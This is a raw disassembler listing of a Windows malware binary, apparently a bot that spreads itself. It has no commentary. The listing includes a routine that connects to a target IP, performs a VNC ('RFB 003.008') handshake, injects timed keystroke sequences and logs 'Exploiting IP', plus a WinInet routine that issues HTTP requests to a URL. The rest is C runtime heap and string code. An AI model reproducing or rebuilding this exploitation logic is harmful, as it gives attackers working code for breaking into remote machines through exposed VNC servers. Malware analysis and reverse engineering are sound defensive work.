; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+Dest] push esi ; Format push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dst] pop ecx push esi ; Format loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push eax push offset asc_43AC9C ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = dword ptr -55Ch var_35C = dword ptr -35Ch Str = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h Dest = byte ptr -1C8h Dst = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h Source = dword ptr -38h Count = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call _memset push edi ; Size lea eax, [ebp+Dest] push ebx ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+var_C8] push ebx ; Val push eax ; Dst call _memset push 100h ; Size lea eax, [ebp+var_65C] push ebx ; Val push eax ; Dst call _memset push 3Ch lea eax, [ebp+var_48] pop edi push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+Count], esi push eax lea eax, [ebp+Str] push ebx push eax ; Str mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call _strlen pop ecx push eax lea eax, [ebp+Str] push eax call dword_4CB8D0 ; InternetCrackUrlA test eax, eax jz loc_41B49C cmp [ebp+Count], ebx jbe short loc_41B3D9 push [ebp+Count] ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] ; Count lea eax, [ebp+Dest] push [ebp+var_2C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] ; Count lea eax, [ebp+var_C8] push [ebp+var_24] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] ; Count lea eax, [ebp+var_65C] push [ebp+var_1C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push esi push eax push dword_4CB984 call dword_4CB9A8 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 ; HttpSendRequestA test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset asc_43AD5C ; "-" push eax ; Dest call _sprintf mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset asc_43AD00 ; "-" loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax ; Dest call _sprintf pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx ; int lea eax, [ebp+var_55C] push [ebp+var_1D0] ; int push eax ; int lea eax, [ebp+var_258] push eax ; Str push [ebp+var_35C] ; int call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 ; InternetCloseHandle push [ebp+var_4] call dword_4CBA08 ; InternetCloseHandle push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h ; Size mov esi, offset byte_4DBCCC push 0 ; Val push esi ; Dst call _memset add esp, 0Ch push [esp+4+arg_0] push offset aS_6 ; "%s" push 0FFh ; Count push esi ; Dest call __snprintf add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41B55B(int,char *Str,int) sub_41B55B proc near ; CODE XREF: .text:0041B843p ; .text:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+Str] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 ; send push ebx ; Str call _strlen pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 ; send push esi push ebx ; Str call _strlen pop ecx push eax push ebx push edi call dword_4CBA24 ; send loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 ; send push [ebp+Str] ; Str call _strlen pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 ; send push esi push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push edi call dword_4CBA24 ; send loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset aRfb003_008 ; "RFB 003.008\n" lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C ; closesocket loc_41B724: ; CODE XREF: .text:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 ; htons mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C ; connect test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: .text:0041B7CEj ; .text:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call _memset add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC ; recv cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: .text:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call _strlen pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 ; send push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: .text:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call _strlen pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 ; send push 1 pop edi loc_41B800: ; CODE XREF: .text:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: .text:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call _strcmp pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: .text:0041B756j ; .text:0041B7B2j ... push ebx call dword_4CBA6C ; closesocket xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: .text:0041B781j ; .text:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 ; send lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, ds:dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi ; Sleep lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi ; Sleep lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi ; Sleep and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call _strlen test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: .text:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call __snprintf lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-4] push edi call _strlen cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: .text:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi ; Sleep push 2 pop edi loc_41B8E7: ; CODE XREF: .text:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi ; Sleep dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi ; Sleep lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi ; Sleep xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi ; Sleep mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: .text:0041B950j push 258h call esi ; Sleep lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call __snprintf push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: .text:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call ___sbh_find_block pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 call ds:dword_42714C ; RtlFreeHeap loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BBE2(void *Src,size_t Size) sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; __onexit+35p var_4 = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+Src], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+Size] ; Size call _malloc pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+Size] test esi, esi jnz short loc_41BC12 push [ebp+Src] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+Src] call ___sbh_find_block mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+Src] push esi push edi push ebx call ___sbh_resize_block add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call ___sbh_alloc_block mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+Src] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax ; Size push ebx ; Src push edi ; Dst call _memcpy push ebx call ___sbh_find_block push [ebp+Src] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 call ds:dword_427150 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+Src] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax ; Size push ecx ; Src push edi ; Dst call _memcpy push [ebp+Src] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+Src] push 0 push dword_4DD384 call ds:dword_4271A0 ; RtlReAllocateHeap mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 jz short loc_41BD1B push esi call __callnewh test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+Size] push eax lea eax, [ebp+var_4] push eax push [ebp+Src] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+Size] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+Src] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax ; Size push [ebp+Src] ; Src push edi ; Dst call _memcpy push ebx push [ebp+Size] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 call ds:dword_427150 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax ; Size push [ebp+Src] ; Src push edi ; Dst call _memcpy push ebx push [ebp+Size] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+Src] push 0 push dword_4DD384 call ds:dword_4271A0 ; RtlReAllocateHeap mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call __callnewh test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+Src] push 0 push dword_4DD384 call ds:dword_4271A0 ; RtlReAllocateHeap test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call __callnewh test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: __nh_malloc+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call ___sbh_alloc_block test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 call ds:dword_427150 ; RtlAllocateHeap loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: WinMain(x,x,x,x)+45p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND] ; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_427088 ; DeleteFileA test eax, eax jnz short loc_41C7D2 call ds:dword_427094 ; RtlGetLastWin32Error jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call __dosmaperr pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND] ; 